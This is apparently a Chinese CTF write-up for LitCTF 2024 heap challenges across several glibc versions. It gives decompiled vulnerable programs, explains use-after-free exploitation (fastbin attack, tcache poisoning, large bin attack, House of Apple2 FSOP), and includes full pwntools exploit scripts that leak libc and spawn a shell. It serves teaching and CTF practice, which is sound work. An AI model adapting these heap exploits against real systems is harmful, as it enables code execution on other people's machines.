nyyyddddn

litctf2024_pwn

2024/06/04

pwn

heap-2.23

程序逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
sub_400866(a1, a2, a3);
v3 = 0;
while ( 1 )
{
init_0();
__isoc99_scanf("%d", &v3);
switch ( v3 )
{
case 1:
add();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
free_all();
default:
puts("error!");
break;
}
}
}

__int64 add()
{
__int64 result; // rax
int v1; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
v2 = 0;
v3 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0xF || *(&ptr + (int)v2) )
{
puts("error !");
return 0LL;
}
else
{
printf("size? ");
__isoc99_scanf("%d", &v3);
v1 = v2;
*(&ptr + v1) = malloc(v3);
if ( !*(&ptr + (int)v2) )
{
puts("malloc error!");
exit(1);
}
result = (int)v2;
*((_DWORD *)&nbytes + (int)v2) = v3;
}
return result;
}

void delete()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && *(&ptr + (int)v0) )
free(*(&ptr + (int)v0));
else
puts("no such chunk!");
}

int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && *(&ptr + (int)v1) )
return printf("content : %s\n", (const char *)*(&ptr + (int)v1));
puts("no such chunk!");
return 0;
}

ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && *(&ptr + (int)v1) )
{
puts("content : ");
return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
}
else
{
puts("no such chunk!");
return 0LL;
}
}

ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && *(&ptr + (int)v1) )
{
puts("content : ");
return read(0, *(&ptr + (int)v1), *((unsigned int *)&nbytes + (int)v1));
}
else
{
puts("no such chunk!");
return 0LL;
}
}

void __noreturn free_all()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( !*(&ptr + i) )
{
free(*(&ptr + i));
*(&ptr + i) = 0LL;
*((_DWORD *)&nbytes + i) = 0;
}
}
exit(0);
}

存在 uaf,通过申请unsortedbin 去泄露libc基地址后,fastbin attack,通过错位字节绕过size检查的宏,写malloc hook为one gadget 触发 one gadget拿shell

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node2.anna.nssctf.cn"
PORT = 28922

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))



def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))


def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))


def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)


add(0,0x98)
add(1,0x98)
delete(0)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x74afcefc4b78 - 0x74afcec00000)
success(f"libc_base ->{hex(libc_base)}")

# 0x45226 execve("/bin/sh", rsp+0x30, environ)
# constraints:
# rax == NULL

# 0x4527a execve("/bin/sh", rsp+0x30, environ)
# constraints:
# [rsp+0x30] == NULL

# 0xf03a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
# [rsp+0x50] == NULL

# 0xf1247 execve("/bin/sh", rsp+0x70, environ)
# constraints:
# [rsp+0x70] == NULL

malloc_hook = libc_base + libc.sym['__malloc_hook']
one_gadget = libc_base + 0xf1247

add(2,0x68)
add(3,0x68)
add(4,0x68)

delete(2)
delete(3)

edit(2,p64(malloc_hook - 0x23))


add(5,0x68)
add(6,0x68)
add(7,0x68)


success(hex(malloc_hook))
success(hex(malloc_hook - 0x23))
success(hex(one_gadget))
edit(7,b"a" * 0x13 + p64(one_gadget))
add(9,0x20)


# g(p)

p.interactive()

heap-2.27

逻辑与漏洞和2.23相同,2.27中加入了tcache 可以使用tcache poison去实现任意地址写的原语写free hook去getshell

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "47.100.139.115"
PORT = 30708

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))

def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))


def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))


def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)


for i in range(9):
add(i,0x80)

for i in range(8):
delete(i)


show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7461d0bebca0 - 0x7461d0800000)
success(hex(libc_base))
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(5,p64(free_hook))

add(9,0x80)
add(10,0x80)
add(11,0x80)

edit(10,b'/bin/sh\x00')
edit(11,p64(system))
delete(10)




p.interactive()

heap-2.31

glibc 2.31 程序逻辑和漏洞 与 glibc 2.23相同,加入tcache后,fastbin attack 关于chunk_size的检查的宏就移除了,同时也可以通过tcache poison实现任意地址写,写free hook为system,之后free一个内容为binsh的堆触发free hook执行 system binsh

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "node3.anna.nssctf.cn"
PORT = 28653

elf = context.binary = ELF('./heap')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))

def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))

def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))

def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)

for i in range(9):
add(i,0x88)

for i in range(8):
delete(i)

show(7)
ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x7229e071cbe0 - 0x7229e0530000)
success(hex(libc_base))

free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']


edit(5,p64(free_hook))

add(10,0x88)
add(11,0x88)
add(12,0x88)
edit(12,p64(system))
edit(11,b'/bin/sh\x00')
delete(11)
# g(p)

p.interactive()

heap-2.35

iofile house of apple2或者是 environ泄露栈地址栈上写rop

heap-2.39

2.39 程序的逻辑和前面几个题目的逻辑不太一样,能申请的堆块最小为0x40f ,最大为 0x1000

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v5; // [rsp+8h] [rbp-8h]

v5 = __readfsqword(0x28u);
init(argc, argv, envp);
v4 = 0;
while ( 1 )
{
menu();
__isoc99_scanf("%d", &v4);
switch ( v4 )
{
case 1:
create();
break;
case 2:
delete();
break;
case 3:
show();
break;
case 4:
edit();
break;
case 5:
Exit();
default:
puts("error!");
break;
}
}
}

__int64 create()
{
__int64 result; // rax
int v1; // ebx
unsigned int v2; // [rsp+0h] [rbp-20h] BYREF
int v3; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
v2 = 0;
v3 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v2);
if ( v2 > 0xF || ptr[v2] || (printf("size? "), __isoc99_scanf("%d", &v3), v3 <= 1039) || v3 > 4096 )
{
puts("error !");
return 0LL;
}
else
{
v1 = v2;
ptr[v1] = malloc(v3);
if ( !ptr[v2] )
{
puts("malloc error!");
exit(1);
}
result = (unsigned int)v3;
ptr_size[v2] = v3;
}
return result;
}

void delete()
{
unsigned int v0; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v1; // [rsp+8h] [rbp-8h]

v1 = __readfsqword(0x28u);
v0 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v0);
if ( v0 <= 0xF && ptr[v0] )
free((void *)ptr[v0]);
else
puts("no such chunk!");
}

int show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
return printf("content : %s\n", (const char *)ptr[v1]);
puts("no such chunk!");
return 0;
}

ssize_t edit()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
printf("idx? ");
__isoc99_scanf("%d", &v1);
if ( v1 <= 0xF && ptr[v1] )
{
puts("content : ");
return read(0, (void *)ptr[v1], (unsigned int)ptr_size[v1]);
}
else
{
puts("no such chunk!");
return 0LL;
}
}

void __noreturn Exit()
{
int i; // [rsp+Ch] [rbp-4h]

for ( i = 0; i <= 15; ++i )
{
if ( !ptr[i] )
{
free((void *)ptr[i]);
ptr[i] = 0LL;
ptr_size[i] = 0;
}
}
exit(0);
}

https://www.freebuf.com/articles/system/232676.html

很明显是large bin attack,large bins是一组双向链表,每个bin是一个独立的双链表,其中fd_nextsize指向比当前bin size小的最大bin,bk_nextsize指向比当前bin size大的最小bin,large bin 用分段存储的方式存储每个bin,其中在同一个范围内相邻的bin都是等差的,每个范围就是一个等差数列

index size范围
64 [0x400,0x440) 相差0x40
65 [0x440,0x480)相差0x40
…… ……相差0x40
96 [0xc00,0xc40)相差0x40
97 [0xc40,0xe00)相差0x1c0
98 [0xe00,0x1000)相差0x200

chunk相关的结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

large bin attack 主要是在victim插入large bin的时候进行利用,victim在ptmalloc2中是指刚刚free掉还没有插入链表这种状态的堆块

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
victim_index = largebin_index (size);
bck = bin_at (av, victim_index); //这个是main_arena的地址
fwd = bck->fd;//这是最大size的链首

/* maintain large bins in sorted order */
if (fwd != bck)
{
/* Or with inuse bit to speed comparisons */
size |= PREV_INUSE;
/* if smaller than smallest, bypass loop below */
assert (chunk_main_arena (bck->bk));
if ((unsigned long) (size) //bck->bk是最小size的链首
< (unsigned long) chunksize_nomask (bck->bk)) //如果当前申请的size小于最小szie
{
fwd = bck;
bck = bck->bk;

victim->fd_nextsize = fwd->fd;
victim->bk_nextsize = fwd->fd->bk_nextsize;
fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;//这里不好整
}
else //如果当前申请的size不是最小的
{
assert (chunk_main_arena (fwd));
while ((unsigned long) size < chunksize_nomask (fwd)) //从最大块开始寻找一个小于szie的链
{
fwd = fwd->fd_nextsize;
assert (chunk_main_arena (fwd));
}

if ((unsigned long) size
== (unsigned long) chunksize_nomask (fwd)) // 如果找到的链和申请的size相同
/* Always insert in the second position. */
fwd = fwd->fd;
else//如果不同,则说明应该插在这个链前面
{
victim->fd_nextsize = fwd;//小的链在victim上
victim->bk_nextsize = fwd->bk_nextsize;//这里如果可以控制
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里能写一个victim
}
bck = fwd->bk;
}
}
else
victim->fd_nextsize = victim->bk_nextsize = victim;
}

mark_bin (av, victim_index);
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;//最后这里,还可以有一次写,如果fwd->bk可控

关键位置是在这里,可以有uaf的情况下,可以实现往任意地址写一个堆地址

1
2
3
4
5
6
7
else//如果不同,则说明应该插在这个链前面
{
victim->fd_nextsize = fwd;//小的链在victim上
victim->bk_nextsize = fwd->bk_nextsize;//这里如果可以控制
fwd->bk_nextsize = victim;
victim->bk_nextsize->fd_nextsize = victim;//这里能写一个victim
}

具体的利用方法是申请 一大一小index相同属于large bin范围的堆块,先释放掉大堆块,然后再释放小堆块,将小堆块的bk_nextsize和fd_nextsize 修改成 target - 0x20的地址,之后再申请一个大于这两个堆块的内存,就可以实现往targe写一个堆地址的攻击。

有了任意地址写一个堆地址的原语还不够,还需要配合iofile相关的攻击和fsop的思想伪造iofile的虚表实现call任意地址,fsop的思想是从main返回或者主动call exit的时候会遍历_IO_list_all中的每一个iofile结构体,如果满足条件就会调用结构体中的vtable _overflow函数,利用large bin attack往io list all中写一个堆地址,然后在堆上伪造ioflie结构体和虚假的vtable,overflow中写上one gadget去提权,但是在高版本glibc中,有对vtable地址范围检测的代码

house of apple2 中 IO_wfile_overflow这条调用链是 将vtable覆盖成 io_wfile_jumps,同时保证io_write_ptr大于 io_write_base 就会调用 _wide_data->vtable- > overflow函数

https://xz.aliyun.com/t/13092?time__1311=mqmxnDBDuDc0G%3DGkDlxGO4%2BofTAfw7AbD&alichlgref=https%3A%2F%2Fwww.bing.com%2F#toc-5

其中 flag还可以控制rdi,但是flag是四个字节的,所以要控制的地方有这几个,io_write_ptr > io_write_base,vtable == io_wfile_jumps,wide_data = 伪造的wide_data 上面有vtable,vtable中有one gadget或者是system的值

io_list_all结构体 stderr

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
pwndbg> p *_IO_list_all 
$1 = {
file = {
_flags = 6845216,
_IO_read_ptr = 0x0,
_IO_read_end = 0x0,
_IO_read_base = 0x0,
_IO_write_base = 0x0,
_IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>,
_IO_write_end = 0x0,
_IO_buf_base = 0x0,
_IO_buf_end = 0x0,
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x0,
_fileno = 0,
_flags2 = 0,
_old_offset = -1,
_cur_column = 0,
_vtable_offset = 0 '\000',
_shortbuf = "",
_lock = 0x0,
_offset = -1,
_codecvt = 0x0,
_wide_data = 0x5ea7be6d14f0,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0,
_mode = 0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x75ef43e170c0 <_IO_wfile_jumps>
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes
from SomeofHouse import HouseOfSome

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "node3.anna.nssctf.cn"
PORT = 28653

elf = context.binary = ELF('./heap')
libc = elf.libc


def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

# 0x410 - 0x1000
def add(idx,size):
sla(">>",str(1))
sla("idx?",str(idx))
sla("size?",str(size))

def show(idx):
sla(">>",str(3))
sla("idx?",str(idx))

def delete(idx):
sla(">>",str(2))
sla("idx?",str(idx))

def edit(idx,content):
sla(">>",str(4))
sla("idx?",str(idx))
sa("content :",content)


add(0,0x508)
add(1,0x508)
delete(0)

add(2,0x510)
show(0)

ru("content : ")
leak = u64(r(6).ljust(8,b'\x00'))
libc_base = leak - (0x745562403f50 - 0x745562200000)
success(hex(libc_base))

edit(0,b"a" * 0x10)
show(0)
ru("a" * 0x10)
heap_base = (u64(r(6).ljust(8,b'\x00')) >> 12) << 12
success(hex(heap_base))

edit(0,p64(leak) * 2)
add(3,0x508)

add(5,0x600) #chunk1
add(6,0x508)
add(7,0x5f0) #chunk2
add(8,0x500)

delete(5)
add(9,0x900)
delete(7)
show(5)
ru("content : ")
fd = u64(r(6).ljust(8,b'\x00'))
target = libc_base + libc.sym["_IO_list_all"]
edit(5,p64(fd)*2 + p64(target - 0x20)*2)

add(10,0x900)

system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
io_wfile_jumps = libc_base + libc.sym['_IO_wfile_jumps']

fake_io_addr0 = heap_base + 0x17f0 # 6
fake_io_addr1 = heap_base + 0x1cf0 # 7


edit(6, b'A' * 0x500 + p32(0xfffff7f5) + b';sh\x00')


# _IO_wfile_overflow
fake_io_file = p64(0)*2 + p64(1) + p64(2)
fake_io_file = fake_io_file.ljust(0xa0 - 0x10, b'\0') + p64(fake_io_addr1 + 0x100) # _wide_data
fake_io_file = fake_io_file.ljust(0xc0 - 0x10, b'\0') + p64(0xffffffffffffffff) # _mode
fake_io_file = fake_io_file.ljust(0xd8 - 0x10, b'\0') + p64(io_wfile_jumps) # vtable

# 伪造 _wide_data vtable
fake_io_file = fake_io_file.ljust(0x100 - 0x10 + 0xe0, b'\0') + p64(fake_io_addr1 + 0x200)
fake_io_file = fake_io_file.ljust(0x200 - 0x10, b'\0') + p64(0)*13 + p64(system)

edit(7, fake_io_file)

# g(p)

sla(">>",str(5))

p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. heap-2.23
    2. 1.2. heap-2.27
    3. 1.3. heap-2.31
    4. 1.4. heap-2.35
    5. 1.5. heap-2.39